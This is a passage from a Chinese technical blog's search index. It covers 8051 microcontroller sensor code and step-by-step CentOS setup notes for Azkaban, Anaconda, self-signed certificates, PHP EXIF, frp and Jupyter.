U8T_data_H_temp,U8T_data_L_temp,U8RH_data_H_temp,U8RH_data_L_temp,U8checkdata_temp;U8 U8comdata;U8 outdata[5]; //定义发送的字节数U8 indata[5];U8 count, count_r=0;U8 str[5]= {\"RS232\"};U16 U16temp1,U16temp2;void SendData(U8 *a) { outdata[0] = a[0]; outdata[1] = a[1]; outdata[2] = a[2]; outdata[3] = a[3]; outdata[4] = a[4]; count = 1; SBUF=outdata[0];}void Delay(U16 j) { U8 i; for(; j&gt;0; j--) { for(i=0; i&lt;27; i++); }}void Delay_10us(void) { U8 i; i--; i--; i--; i--; i--; i--;}void COM(void) { U8 i; for(i=0; i&lt;8; i++) { U8FLAG=2; while((!TXP)&amp;&amp;U8FLAG++); Delay_10us(); Delay_10us(); Delay_10us(); U8temp=0; if(TXP) U8temp=1; U8FLAG=2; while((TXP)&amp;&amp;U8FLAG++); //超时则跳出for循环 if(U8FLAG==1) break; //判断数据位是0还是1 // 如果高电平高过预定0高电平值则数据位为 1 U8comdata&lt;&lt;=1; U8comdata|=U8temp; //0 }//rof}//--------------------------------//-----湿度读取子程序 ------------//--------------------------------//----以下变量均为全局变量--------//----温度高8位== U8T_data_H------//----温度低8位== U8T_data_L------//----湿度高8位== U8RH_data_H-----//----湿度低8位== U8RH_data_L-----//----校验 8位 == U8checkdata-----//----调用相关子程序如下----------//---- Delay();, Delay_10us();,COM();//--------------------------------void RH(void) { //主机拉低18ms TXP=0; Delay(180); TXP=1; //总线由上拉电阻拉高 主机延时20us Delay_10us(); Delay_10us(); Delay_10us(); Delay_10us(); //主机设为输入 判断从机响应信号 TXP=1; //判断从机是否有低电平响应信号 如不响应则跳出，响应则向下运行 if(!TXP) { //T ! U8FLAG=2; //判断从机是否发出 80us 的低电平响应信号是否结束 while((!TXP)&amp;&amp;U8FLAG++); U8FLAG=2; //判断从机是否发出 80us 的高电平，如发出则进入数据接收状态 while((TXP)&amp;&amp;U8FLAG++); //数据接收状态 COM(); U8RH_data_H_temp=U8comdata; COM(); U8RH_data_L_temp=U8comdata; COM(); U8T_data_H_temp=U8comdata; COM(); U8T_data_L_temp=U8comdata; COM(); U8checkdata_temp=U8comdata; TXP=1; //数据校验 U8temp=(U8T_data_H_temp+U8T_data_L_temp+U8RH_data_H_temp+U8RH_data_L_temp); if(U8temp==U8checkdata_temp) { U8RH_data_H=U8RH_data_H_temp; U8RH_data_L=U8RH_data_L_temp; U8T_data_H=U8T_data_H_temp; U8T_data_L=U8T_data_L_temp; U8checkdata=U8checkdata_temp; }//fi }//fi}//----------------------------------------------//main()功能描述: AT89C51 11.0592MHz 串口发//送温湿度数据,波特率 9600//----------------------------------------------void main() { U8 i=0,j=0; //uchar str[6]={\"RS232\"}; /* 系统初始化 */ TMOD = 0x20; //定时器T1使用工作方式2 TH1 = 253; // 设置初值 TL1 = 253; TR1 = 1; // 开始计时 SCON = 0x50; //工作方式1，波特率9600bps，允许接收 ES = 1; EA = 1; // 打开所以中断 TI = 0; RI = 0; SendData(str) ; //发送到串口 //Delay(1); //延时100US（12M晶振) while(1) { //------------------------ //调用温湿度读取子程序 RH(); //串口显示程序 //-------------------------- str[0]=U8RH_data_H; str[1]=U8RH_data_L; str[2]=U8T_data_H; str[3]=U8T_data_L; str[4]=U8checkdata; SendData(str) ; //发送到串口 //读取模块数据周期不易小于 2S Delay(20000); }//elihw}// mainvoid RSINTR() interrupt 4 using 2 { U8 InPut3; if(TI==1) { //发送中断 TI=0; if(count!=5) { //发送完5位数据 SBUF= outdata[count]; count++; } } if(RI==1) { //接收中断 InPut3=SBUF; indata[count_r]=InPut3; count_r++; RI=0; if (count_r==5) { //接收完4位数据 //数据接收完毕处理。 count_r=0; str[0]=indata[0]; str[1]=indata[1]; str[2]=indata[2]; str[3]=indata[3]; str[4]=indata[4]; P0=0; } }}"},{"title":"","date":"2018-12-02T09:52:00.000Z","updated":"2022-05-10T01:40:00.000Z","comments":true,"path":"notes/51/ultrasonic-ranging.html","permalink":"https://blog.mhuig.top/notes/51/ultrasonic-ranging","excerpt":"","text":"超声波测距 HC-SR04 超声波测距模块 串口 程序 /***********************************************************************************************************///HC-SR04 超声波测距模块 串口 程序//晶振：11.0592//接线：模块TRIG接 P1.2 ECH0 接P1.1//串口波特率9600//Atmel AT89C52 C51/***********************************************************************************************************/#include &lt;AT89X51.H&gt;#include &lt;intrins.h&gt;#include &lt;STDIO.H&gt;#define uchar unsigned char#define uint unsigned int#define RX P1_1#define TX P1_2unsigned int time=0;unsigned int timer=0;float S=0;bit flag =0;/********************************************************/void Conut(void) { time=TH0*256+TL0; TH0=0; TL0=0; S=(time*1.87)/100; //算出来是CM if(flag==1) { //超出测量 flag=0; printf(\"-----\\n\"); } printf(\"S=%fcm\\n\",S);}/********************************************************/void delayms(unsigned int ms) { unsigned char i=100,j; for(; ms; ms--) { while(--i) { j=10; while(--j); } }}/********************************************************/void zd0() interrupt 1 { //T0中断用来计数器溢出,超过测距范围 flag=1; //中断溢出标志}/********************************************************/void StartModule() { //T1中断用来扫描数码管和计800MS启动模块 TX=1; //800MS 启动一次模块 _nop_(); _nop_(); _nop_(); _nop_(); _nop_(); _nop_(); _nop_(); _nop_(); _nop_(); _nop_(); _nop_(); _nop_(); _nop_(); _nop_(); _nop_(); _nop_(); _nop_(); _nop_(); _nop_(); _nop_(); _nop_(); TX=0;}/********************************************************/void main(void) { TMOD=0x21; //设T0为方式1，GATE=1； SCON=0x50; TH1=0xFD; TL1=0xFD; TH0=0; TL0=0; TR0=1; ET0=1; //允许T0中断 TR1=1; //开启定时器 TI=1; EA=1; //开启总中断 while(1) { StartModule(); while(!RX); //当RX为零时等待 TR0=1; //开启计数 while(RX); //当RX为1计数并等待 TR0=0; //关闭计数 Conut(); //计算 delayms(100); //100MS }}"},{"title":"","date":"2019-05-10T06:37:00.000Z","updated":"2022-05-12T07:35:00.000Z","comments":true,"path":"notes/Azkaban/deploy.html","permalink":"https://blog.mhuig.top/notes/Azkaban/deploy","excerpt":"","text":"安装部署 Azkaban 安装部署 azkaban 单服务模式安装与使用所需软件azkaban-solo-server单服务模式安装 第一步：解压azkaban 的 solo server 使用的是一个单节点的模式来进行启动服务的，只需要一个 azkaban-solo-server-0.1.0-SNAPSHOT.tar.gz 的安装包即可启动，所有的数据信息都是保存在 H2 这个 azkaban 默认的数据当中，上传我们的压缩包，然后修改配置文件启动即可 cd /export/softwarestar -zxvf azkaban-solo-server-0.1.0-SNAPSHOT.tar.gz -C ../servers/ 第二步：修改两个配置文件修改时区配置文件 cd /export/servers/azkaban-solo-server-0.1.0-SNAPSHOT/confvim azkaban.properties azkaban.propertiesdefault.timezone.id=Asia/Shanghai 修改 commonprivate.properties 配置文件 cd /export/servers/azkaban-solo-server-0.1.0-SNAPSHOT/plugins/jobtypesvim commonprivate.properties commonprivate.propertiesexecute.as.user=falsememCheck.enabled=false 第三步：启动 solo-server启动 azkaban-solo-server cd /export/servers/azkaban-solo-server-0.1.0-SNAPSHOTbin/start-solo.sh 第四步：浏览器页面访问浏览器页面访问 http://node03:8081/ azkaban 两个服务模式安装确认所需软件Azkaban Web 服务安装包azkaban-web-server-0.1.0-SNAPSHOT.tar.gzAzkaban 执行服务安装包azkaban-exec-server-0.1.0-SNAPSHOT.tar.gz编译之后的 sql 脚本create-all-sql-0.1.0-SNAPSHOT.sqlC 程序文件脚本execute-as-user.c 程序 数据库准备进入 mysql 的客户端执行以下命令 mysql -uroot -p CREATE DATABASE azkaban;CREATE USER 'azkaban'@'%' IDENTIFIED BY 'azkaban';GRANT all privileges ON azkaban.* to 'azkaban'@'%' identified by 'azkaban' WITH GRANT OPTION;flush privileges;use azkaban;source /export/softwares/create-all-sql-0.1.0-SNAPSHOT.sql; 解压软件安装包解压 azkaban-web-server cd /export/softwarestar -zxvf azkaban-web-server-0.1.0-SNAPSHOT.tar.gz -C ../servers/cd /export/serversmv azkaban-web-server-0.1.0-SNAPSHOT/ azkaban-web-server-3.51.0 解压 azkaban-exec-server cd /export/softwarestar -zxvf azkaban-exec-server-0.1.0-SNAPSHOT.tar.gz -C ../servers/cd /export/serversmv azkaban-exec-server-0.1.0-SNAPSHOT/ azkaban-exec-server-3.51.0 安装 SSL 安全认证 允许我们使用 https 的方式访问 azkaban 的 web 服务密码 azkaban 一定要一个个的字母输入，或者粘贴也行 cd /export/servers/azkaban-web-server-3.51.0keytool -keystore keystore -alias jetty -genkey -keyalg RSA azkaban web server 安装修改 azkaban-web-server 的配置文件 cd /export/servers/azkaban-web-server-3.51.0/confvim azkaban.properties azkaban.properties# Azkaban Personalization Settingsazkaban.name=Azkabanazkaban.label=My Azkabanazkaban.color=#FF3601azkaban.default.servlet.path=/indexweb.resource.dir=web/default.timezone.id=Asia/Shanghai# Azkaban UserManager classuser.manager.class=azkaban.user.XmlUserManageruser.manager.xml.file=conf/azkaban-users.xml# Loader for projectsexecutor.global.properties=conf/global.propertiesazkaban.project.dir=projects# Velocity dev modevelocity.dev.mode=false# Azkaban Jetty server properties.jetty.use.ssl=truejetty.maxThreads=25jetty.port=8081jetty.keystore=/export/servers/azkaban-web-server-3.51.0/keystorejetty.password=azkabanjetty.keypassword=azkabanjetty.truststore=/export/servers/azkaban-web-server-3.51.0/keystorejetty.trustpassword=azkaban# Azkaban Executor settings# mail settingsmail.sender=mail.host=# User facing web server configurations used to construct the user facing server URLs. They are useful when there is a reverse proxy between Azkaban web servers and users.# enduser -&gt; myazkabanhost:443 -&gt; proxy -&gt; localhost:8081# when this parameters set then these parameters are used to generate email links.# if these parameters are not set then jetty.hostname, and jetty.port(if ssl configured jetty.ssl.port) are used.# azkaban.webserver.external_hostname=myazkabanhost.com# azkaban.webserver.external_ssl_port=443# azkaban.webserver.external_port=8081job.failure.email=job.success.email=lockdown.create.projects=falsecache.directory=cache# JMX statsjetty.connector.stats=trueexecutor.connector.stats=true# Azkaban mysql settings by default. Users should configure their own username and password.database.type=mysqlmysql.port=3306mysql.host=node03mysql.database=azkabanmysql.user=azkabanmysql.password=azkabanmysql.numconnections=100#Multiple Executorazkaban.use.multiple.executors=true#azkaban.executorselector.filters=StaticRemainingFlowSize,MinimumFreeMemory,CpuStatusazkaban.executorselector.comparator.NumberOfAssignedFlowComparator=1azkaban.executorselector.comparator.Memory=1azkaban.executorselector.comparator.LastDispatched=1azkaban.executorselector.comparator.CpuUsage=1#executor.port=12321 azkaban executor server 安装第一步：修改 azkaban-exex-server 配置文件 cd /export/servers/azkaban-exec-server-3.51.0/confvim azkaban.properties azkaban.properties# Azkaban Personalization Settingsazkaban.name=Azkabanazkaban.label=My Azkabanazkaban.color=#FF3601azkaban.default.servlet.path=/indexweb.resource.dir=web/default.timezone.id=Asia/Shanghai# Azkaban UserManager classuser.manager.class=azkaban.user.XmlUserManageruser.manager.xml.file=conf/azkaban-users.xml# Loader for projectsexecutor.global.properties=conf/global.propertiesazkaban.project.dir=projects# Velocity dev modevelocity.dev.mode=false# Azkaban Jetty server properties.jetty.use.ssl=truejetty.maxThreads=25jetty.port=8081jetty.keystore=/export/servers/azkaban-web-server-3.51.0/keystorejetty.password=azkabanjetty.keypassword=azkabanjetty.truststore=/export/servers/azkaban-web-server-3.51.0/keystorejetty.trustpassword=azkaban# Where the Azkaban web server is locatedazkaban.webserver.url=https://node03:8443# mail settingsmail.sender=mail.host=# User facing web server configurations used to construct the user facing server URLs. They are useful when there is a reverse proxy between Azkaban web servers and users.# enduser -&gt; myazkabanhost:443 -&gt; proxy -&gt; localhost:8081# when this parameters set then these parameters are used to generate email links.# if these parameters are not set then jetty.hostname, and jetty.port(if ssl configured jetty.ssl.port) are used.# azkaban.webserver.external_hostname=myazkabanhost.com# azkaban.webserver.external_ssl_port=443# azkaban.webserver.external_port=8081job.failure.email=job.success.email=lockdown.create.projects=falsecache.directory=cache# JMX statsjetty.connector.stats=trueexecutor.connector.stats=true# Azkaban plugin settingsazkaban.jobtype.plugin.dir=plugins/jobtypes# Azkaban mysql settings by default. Users should configure their ownusername and password.database.type=mysqlmysql.port=3306mysql.host=node03mysql.database=azkabanmysql.user=azkabanmysql.password=azkabanmysql.numconnections=100# Azkaban Executor settingsexecutor.maxThreads=50executor.flow.threads=30 第二步：添加插件 将我们编译后的 C 文件 execute-as-user.c上传到这个目录来 /export/servers/azkaban-exec-server-3.51.0/plugins/jobtypes或者直接将我们 /export/softwares 下面的文件拷贝过来也行 cp /export/softwares/execute-as-user.c /export/servers/azkaban-execserver-3.51.0/plugins/jobtypes/ 然后执行以下命令生成 execute-as-user yum -y install gcc-c++cd /export/servers/azkaban-exec-server-3.51.0/plugins/jobtypesgcc execute-as-user.c -o execute-as-userchown root execute-as-userchmod 6050 execute-as-user 第三步：修改配置文件 修改配置文件 cd /export/servers/azkaban-exec-server-3.51.0/plugins/jobtypesvim commonprivate.properties commonprivate.propertiesexecute.as.user=falsememCheck.enabled=falseazkaban.native.lib=/export/servers/azkaban-exec-server3.51.0/plugins/jobtypes 启动服务第一步：启动 azkaban exec server cd /export/servers/azkaban-exec-server-3.51.0bin/start-exec.sh 第二步：激活我们的 exec-server node03 机器任意目录下执行以下命令 (随机找个端口号进行激活) curl -G \"node03:$(&lt;./executor.port)/executor?action=activate\" &amp;&amp; echo 第三步：启动 azkaban-web-serve cd /export/servers/azkaban-web-server-3.51.0/bin/start-web.sh 访问地址：https://node03:8443 修改 linux 的时区问题由于先前做好了时钟同步，所以不用担心时区问题，不需要修改时区了注：先配置好服务器节点上的时区1、先生成时区配置文件 Asia/Shanghai，用交互式命令 tzselect 即可2、拷贝该时区文件，覆盖系统本地时区配置 cp /usr/share/zoneinfo/Asia/Shanghai /etc/localtime Azkaban 实战Azkaba 内置的任务类型支持 command、javaCommand 类型单一 job 示例创建 job 描述文件创建文本文件，更改名称为 mycommand.job注意后缀.txt 一定不要带上，保存为格式为 UFT-8 without bom内容如下 type=commandcommand=echo 'hello world' 将 job 资源文件打包成 zip 文件创建 project 并上传压缩包通过 azkaban 的 web 管理平台创建 project 并上传 job 压缩包首先创建 project上传 zip 包启动执行 job Command 类型多 job 工作流 flow1、创建有依赖关系的多个 job 描述 第一个 job：foo.job type=commandcommand=echo 'foo' 第二个 job：bar.job 依赖 foo.job type=commanddependencies=foocommand=echo 'bar' 2、将所有 job 资源文件打到一个 zip 包中3、在 azkaban 的 web 管理界面创建工程并上传 zip 包4、启动工作流 flow HDFS 操作任务 (通过 azkaban 在 hdfs 上创建一个目录)1、创建 job 描述文件 fs.job type=commandcommand=/export/servers/hadoop-2.6.0-cdh5.14.0/bin/hdfs dfs -mkdir /azkaban 2、将 job 资源文件打包成 zip 文件3、通过 azkaban 的 web 管理平台创建 project 并上传 job 压缩包4、启动执行该 job MAPREDUCE 任务Mr 任务依然可以使用 command 的 job 类型来执行 1、创建 job 描述文件，及 mr 程序 jar 包（示例中直接使用 hadoop 自带的 example jar） type=commandcommand=/export/servers/hadoop-2.6.0-cdh5.14.0/bin/hadoop jar hadoopmapreduce-examples-2.6.0-cdh5.14.0.jar pi 3 5 2、将所有 job 资源文件打到一个 zip 包中3、在 azkaban 的 web 管理界面创建工程并上传 zip 包4、启动 job HIVE 脚本任务创建 job 描述文件和 hive 脚本Hive 脚本： hive.sql create database if not exists azhive;use azhive;create table if not exists aztest(id string,name string) row format delimitedfields terminated by '\\t'; Job 描述文件：hive.job type=commandcommand=/export/servers/hive-1.1.0-cdh5.14.0/bin/hive -f 'hive.sql' 将所有 job 资源文件打到一个 zip 包中在 azkaban 的 web 管理界面创建工程并上传 zip 包启动 job cd /export/servers/hive-1.1.0-cdh5.14.0/bin/hiveshow databases;use azhive;show tables; azkaban 的定时任务使用 azkaban 的 scheduler 功能可以实现对我们的作业任务进行定时调度功能"},{"title":"","date":"2022-05-10T06:36:00.000Z","updated":"2022-05-10T06:36:00.000Z","comments":true,"path":"notes/Azkaban/index.html","permalink":"https://blog.mhuig.top/notes/Azkaban/","excerpt":"","text":".fa-secondary{opacity:.4} Azkaban Azkaban .prev-next{ display: none !important; }"},{"title":"","date":"2019-05-10T06:37:00.000Z","updated":"2022-05-12T07:35:00.000Z","comments":true,"path":"notes/Azkaban/overview.html","permalink":"https://blog.mhuig.top/notes/Azkaban/overview","excerpt":"","text":"Overview Azkaban Overview 为什么需要工作流调度系统 一个完整的数据分析系统通常都是由大量任务单元组成：shell 脚本程序，java 程序，mapreduce 程序、hive 脚本等 各任务单元之间存在时间先后及前后依赖关系 为了很好地组织起这样的复杂执行计划，需要一个工作流调度系统来调度执行； 例如，我们可能有这样一个需求，某个业务系统每天产生 20G 原始数据，我们每天都要对其进行处理，处理步骤如下所示： 1、 通过 Hadoop 先将原始数据同步到 HDFS 上； 2、 借助 MapReduce 计算框架对原始数据进行转换，生成的数据以分区表的形式存储到多张 Hive 表中； 3、 需要对 Hive 中多个表的数据进行 JOIN 处理，得到一个明细数据 Hive 大表； 4、 将明细数据进行各种统计分析，得到结果报表信息； 5、 需要将统计分析得到的结果数据同步到业务系统中，供业务调用使用。 工作流调度实现方式简单的任务调度：直接使用 linux 的 crontab 来定义；复杂的任务调度：开发调度平台或使用现成的开源调度系统，比如 ooize、azkaban、airflow 等 常见工作流调度系统市面上目前有许多工作流调度器在 hadoop 领域，常见的工作流调度器有 Oozie, Azkaban,Cascading,Hamake 等 Azkaban 介绍azkaban 官网：https://azkaban.github.io/ Azkaban 是由 Linkedin 开源的一个批量工作流任务调度器。用于在一个工作流内以一个特定的顺序运行一组工作和流程。Azkaban 定义了一种 KV 文件 (properties) 格式来建立任务之间的依赖关系，并提供一个易于使用的 web 用户界面维护和跟踪你的工作流。它有如下功能特点： Web 用户界面 方便上传工作流 方便设置任务之间的关系 调度工作流 认证 / 授权 (权限的工作) 能够杀死并重新启动工作流 模块化和可插拔的插件机制 项目工作区 工作流和任务的日志记录和审计"},{"title":"","date":"2019-09-22T03:14:00.000Z","updated":"2022-05-12T08:50:00.000Z","comments":true,"path":"notes/CentOS/anaconda3.html","permalink":"https://blog.mhuig.top/notes/CentOS/anaconda3","excerpt":"","text":"安装 Anaconda3 Centos7 安装 Anaconda3 Anaconda 是一个免费开源的 Python 和 R 语言的发行版本，用于计算科学（数据科学、机器学习、大数据处理和预测分析），Anaconda 致力于简化包管理和部署。 安装下载 Anaconda方式一：官方网站 方式二：清华大学开源软件镜像站 可以下载到本地，然后通过 xftp 上传到 Contos 上 bash&nbsp; &nbsp;Anaconda3-4.4.0-Linux-x86_64.sh 该按 enter 按，该 yes|no 的 yes。 source ~/.bashrc 然后重启终端，然后输入 python Anaconda 虚拟环境创建环境conda create -n envname python=3.6&nbsp; 删除环境conda remove -n envname --all 激活环境source activate envname 退出环境source deactivate Anaconda 换源添加清华源conda config --add channels https://mirrors.tuna.tsinghua.edu.cn/anaconda/pkgs/free/conda config --add channels https://mirrors.tuna.tsinghua.edu.cn/anaconda/cloud/conda-forgeconda config --add channels https://mirrors.tuna.tsinghua.edu.cn/anaconda/cloud/msys2/conda config --set show_channel_urls yes 删源conda config --remove-key channels 附录清华大学开源软件镜像站 channels: - https://mirrors.tuna.tsinghua.edu.cn/anaconda/pkgs/main/ - https://mirrors.tuna.tsinghua.edu.cn/anaconda/pkgs/free/ - https://mirrors.tuna.tsinghua.edu.cn/anaconda/cloud/conda-forge/ssl_verify: true 上海交通大学开源镜像站 channels: - https://mirrors.sjtug.sjtu.edu.cn/anaconda/pkgs/main/ - https://mirrors.sjtug.sjtu.edu.cn/anaconda/pkgs/free/ - https://mirrors.sjtug.sjtu.edu.cn/anaconda/cloud/conda-forge/ssl_verify: true 中国科学技术大学 USTC Mirror channels: - https://mirrors.ustc.edu.cn/anaconda/pkgs/main/ - https://mirrors.ustc.edu.cn/anaconda/pkgs/free/ - https://mirrors.ustc.edu.cn/anaconda/cloud/conda-forge/ssl_verify: true .bashrc 里面修改过 PATH 环境变量，添加过 anaconda/bin vi ~/.bashrc 最后添加 conda deactivate source .bashrc"},{"title":"","date":"2019-09-19T03:24:00.000Z","updated":"2022-05-10T07:12:00.000Z","comments":true,"path":"notes/CentOS/centosx3.html","permalink":"https://blog.mhuig.top/notes/CentOS/centosx3","excerpt":"","text":"三台虚拟机创建并联网 大数据处理技术 - 三台虚拟机创建并联网 volantis.css(\"/lib/hexo-github/github.css\"); volantis.js(\"/lib/hexo-github/github.js\").then(() => { new Badge(\"#badge-container-MHuiG-BigData-Archive-4bf68d5a9dfa76e95fd97bd641f84806e5e0bcb9\", \"MHuiG\", \"BigData-Archive\", \"4bf68d5a9dfa76e95fd97bd641f84806e5e0bcb9\", false); })"},{"title":"","date":"2019-09-23T11:53:00.000Z","updated":"2022-05-12T12:30:00.000Z","comments":true,"path":"notes/CentOS/certificate.html","permalink":"https://blog.mhuig.top/notes/CentOS/certificate","excerpt":"","text":"自建 https 证书 自建 https 证书 生成 nginx 的证书与配置 chrome 安全告警的问题 安装 openssl生成根证书openssl req -x509 -nodes -days 1461 -newkey rsa:2048 -subj \"/C=CN/ST=MyProvince/L=MyCity/O=MyOrganization\" -keyout CA-private.key -out CA-certificate.crt -reqexts v3_req -extensions v3_ca 生成私钥openssl genrsa -out private.key 2048 openssl req -new -key private.key -subj \"/C=CN/ST=MyProvince/L=MyCity/O=MyOrganization/CN=xxx.xxx.xxx.xxx\" -sha256 -out private.csr 解决 Chrome 安全警告按照上面的流程，需要注意的是，在默认情况下生成的证书一旦选择信任，在 Edge, Firefox 等浏览器都显示为安全，但是 Chrome 仍然会标记为不安全并警告拦截，这是因为 Chrome 需要证书支持扩展 Subject Alternative Name, 因此生成时需要特别指定 SAN 扩展并添加相关参数。SAN Extension 所需配置文件关键属性： req_distinguished_name: 一节的内容与上面 -subj 一样都是证书的附加信息subjectAltName: 是最关键的属性，取值有两种情况，除前缀外值应与上一步 -subj 中指定的 CN 参数值相同：如果是为某一域名签发证书，则其值可为 DNS:www.example.com 或者使用通配符 DNS:*.example.com；如果为 IP 地址颁发证书，则应该使用 IP:xxx.xxx.xxx.xxx 的形式。 [ req ]default_bits = 2048distinguished_name = req_distinguished_namereq_extensions = sanextensions = san[ req_distinguished_name ]countryName = CNstateOrProvinceName = MyProvincelocalityName = MyCityorganizationName = MyOrganization[SAN]authorityKeyIdentifier=keyid,issuerbasicConstraints=CA:FALSEkeyUsage = digitalSignature, nonRepudiation, keyEncipherment, dataEnciphermentsubjectAltName = IP:xxx.xxx.xxx.xxx 将上述内容放到一个文件中，命名为 private.ext 执行命令，生成证书openssl x509 -req -days 1461 -in private.csr -CA CA-certificate.crt -CAkey CA-private.key -CAcreateserial -sha256 -out private.crt -extfile private.ext -extensions SAN nginx 中配置如下: server { listen 443; server_name localhost; ssl on; ssl_certificate /alidata/ssl/private.crt; ssl_certificate_key /alidata/ssl/private.key;} 使用证书生成的具体域名证书和私钥可在 nginx 中使用，然后再客户端所在电脑导入根证书： Windows 需要添加根证书至 受信任的根证书颁发机构macOS 将其导入 钥匙串访问 并选择信任另外 Windows 快捷安装根证书脚本如下 (需要管理员权限)： certutil -addstore -f -enterprise -user root \".\\CA-certificate.crt\" 在 window 或者 mac 上安装 private.crt 文件后，nginx 上页面或者接口就可以正常访问了。"},{"title":"","date":"2019-09-22T02:29:00.000Z","updated":"2022-05-12T12:17:00.000Z","comments":true,"path":"notes/CentOS/exif.html","permalink":"https://blog.mhuig.top/notes/CentOS/exif","excerpt":"","text":"PHP-EXIF 扩展 Linux 安装 PHP-EXIF 扩展模块 您可以使用 exif 相关的函数从文件头读取数码相机拍摄的 JPEG 和 TIFF 格式的图像文件元数据。 安装编译 PHP 时安装使用–enable-exif 选项配置 PHP 来启用 exif 支持。 Windows 用户必须在 php.ini 中启用 php_mbstring.dll 和 php_exif.dll 扩展。请确保在 php.ini 中保持正确的顺序：php_mbstring.dll 必须在 php_exif.dll 之前加载。 源码安装在 PHP 源码中可以找到 EXIF 扩展源码，然后编译安装到当前的 PHP 环境中 cd /Main/sh-1.5.5/php-5.5.7/ext/exif/alidata/server/php-5.5.7/bin/phpize./configure --with-php-config=/alidata/server/php-5.5.7/bin/php-configmake &amp;&amp; make install cd 进入 /alidata/server/php-5.5.7/etc 文件夹，修改 php.ini，添加 exif.so 扩展 extension = exif.so 重启Apache 服务器service httpd restart Nginx 的服务器Nginx 服务器重启之前，需要先重启 php-fpm service php-fpm restartnginx -s reload 查看使用 phpinfo () 查看 PHP 环境，安装配置成功。"},{"title":"","date":"2019-09-22T06:30:00.000Z","updated":"2022-05-12T12:25:00.000Z","comments":true,"path":"notes/CentOS/frp.html","permalink":"https://blog.mhuig.top/notes/CentOS/frp","excerpt":"","text":"Frp 内网穿透 Frp 内网穿透 frp 是一个可用于内网穿透的高性能的反向代理应用，支持 tcp, udp 协议，为 http 和 https 应用协议提供了额外的能力，且尝试性支持了点对点穿透。 github 启动 frps cd /Main/frp_024.1_server/chmod -Rf 777 ./*./frps -c frps.ini 相关配置 frps.ini# frps.ini[common]bind_port = 7000token = yourtokendashboard_port = 7500dashboard_user = usernamedashboard_pwd = yourpasswordvhost_http_port = 9000 #设置 http 访问端口 frpc.ini# frpc.ini[common]server_addr = x.x.x.x #假设 frps 所在服务器的公网 IP 为 x.x.x.xserver_port = 7000 #与frps.ini bind_port一致token = yourtoken #与frps.ini token一致#[ssh]#type = tcp#local_ip = 127.0.0.1#local_port = 22#remote_port = 8080[web]type = httplocal_port = 8000 #本地机器上 web 服务对应的端口custom_domains = www.yourdomain.com #绑定自定义域名或serverip 关闭防火墙 systemctl stop firewalld.servicesystemctl disable firewalld.service 设置开机自启动 vim /lib/systemd/system/frps.service frps.service#frps.service[Unit]Description=fraps serviceAfter=network.target syslog.targetWants=network.target[Service]Type=simple#启动服务的命令（此处写你的frps的实际安装目录）ExecStart=/Main/frp_024.1_server/frps -c /Main/frp_024.1_server/frps.ini[Install]WantedBy=multi-user.target 然后就启动 frps sudo systemctl start frps 再打开自启动 sudo systemctl enable frps 如果要重启应用，可以这样 sudo systemctl restart frps 如果要停止应用，可以输入 sudo systemctl stop frps 如果要查看应用的日志，可以输入 sudo systemctl status frps"},{"title":"","date":"2019-09-21T08:23:00.000Z","updated":"2022-05-10T07:12:00.000Z","comments":true,"path":"notes/CentOS/gui.html","permalink":"https://blog.mhuig.top/notes/CentOS/gui","excerpt":"","text":"安装 GUI 图形界面 CentOS7 安装 GUI 图形界面 当你安装 CentOS7 服务器版本的时候，系统默认是不会安装 GUI 的图形界面程序，这个需要手动安装 CentOS7 Gnome GUI 包。 在安装 Gnome 包之前，需要检查一下安装源 (yum) 是否正常，因为需要在 yum 命令来安装 gnome 包。 第一步：先检查 yum 是否安装，以及网络是否有网络。如果这两者都没有，先解决网络，在解决 yum 的安装。 第二步：在命令行下 输入下面的命令来安装 Gnome 包。 yum groupinstall \"GNOME Desktop\" \"Graphical Administration Tools\" 第三步：更新系统的运行级别。 ln -sf /lib/systemd/system/runlevel5.target /etc/systemd/system/default.target 第四步：重启机器。启动默认进入图形界面。 reboot Linux 查看端口状态 netstat -ntulp |grep 8000 杀进程 kill -9 id"},{"title":"","date":"2022-05-10T06:48:00.000Z","updated":"2022-05-10T06:48:00.000Z","comments":true,"path":"notes/CentOS/index.html","permalink":"https://blog.mhuig.top/notes/CentOS/","excerpt":"","text":"CentOS CentOS .prev-next{ display: none !important; }"},{"title":"","date":"2019-09-22T06:05:00.000Z","updated":"2022-05-12T08:52:00.000Z","comments":true,"path":"notes/CentOS/jupyter.html","permalink":"https://blog.mhuig.top/notes/CentOS/jupyter","excerpt":"","text":"设置 Jupyter CentOS7 设置 Jupyter Jupyter Notebook（前身是 IPython Notebook）是一个基于 Web 的交互式计算环境，用于创建 Jupyter Notebook 文档。Notebook 一词可以通俗地引用许多不同的实体，主要是 Jupyter Web 应用程序、Jupyter Python Web 服务器或 Jupyter 文档格式（取决于上下文）。Jupyter Notebook 文档是一个 JSON 文档，遵循版本化模式，包含一个有序的输入 / 输出单元格列表，这些单元格可以包含代码、文本（使用 Markdown 语言）、数学、图表和富媒体，通常以 “.ipynb” 结尾扩展。 启动jupyter notebook --allow-root --ip 0.0.0.0 --port 9999 默认不允许 / 不建议 root 启动 jupyter, 如果非要用，加上–allow-root–ip ip 填写 0.0.0.0 或者本机 ip–port 端口号 启动后，浏览器访问对应 ip 和端口就行，需要输入 token,token 在启动界面有输出 生产配置文件每次记住 token，复制再登录不现实 jupyter notebook --generate-config 生成的配置文件位于 ~/.jupyter/jupyter_notebook_config.py jupyter-notebook password 输入两遍密码 启动，就可以 以固定密码登录了 jupyter notebook --allow-root --ip 0.0.0.0 --port 999 设置浏览器打开 jupyter 默认路径vim ~/.jupyter/jupyter_notebook_config.py 填写自己想要的服务器路径c.NotebookApp.notebook_dir='/' 设置 jupyter 开机启动systemctl 脚本目录：/usr/lib/systemd/系统服务目录：/usr/lib/systemd/system/用户服务目录：/usr/lib/systemd/system/ cd /usr/lib/systemd/system/ vim myjupyter.service [UNIT]#服务描述Description=python jupyter Service#指定了在systemd在执行完那些target之后再启动该服务After=network.target[Service]#定义Service的运行类型，一般是forking(后台运行) #Type=forking 这个会卡住啊,不写Type 或者 如下Type=simple#定义systemctl start|stop|reload *.service 的执行方法（具体命令需要写绝对路径）#注：ExecStartPre为启动前执行的命令# ExecStartPre=/usr/bin/test \"x${NETWORKMANAGER}\" = xyesExecStart=/root/anaconda3/bin/jupyter notebook --allow-root --ip 0.0.0.0 --port 9999#ExecReload=# ExecStop=/home/mobileoa/apps/shMediaManager.sh -stop#创建私有的内存临时空间PrivateTmp=True[Install]#多用户WantedBy=multi-user.target vi /root/.jupyter/jupyter_notebook_config.py # Set ip to '*' to bind on all interfaces (ips) for the public serverc.NotebookApp.ip = '*'# It is a good idea to set a known, fixed port for server accessyc.NotebookApp.port = 9999# 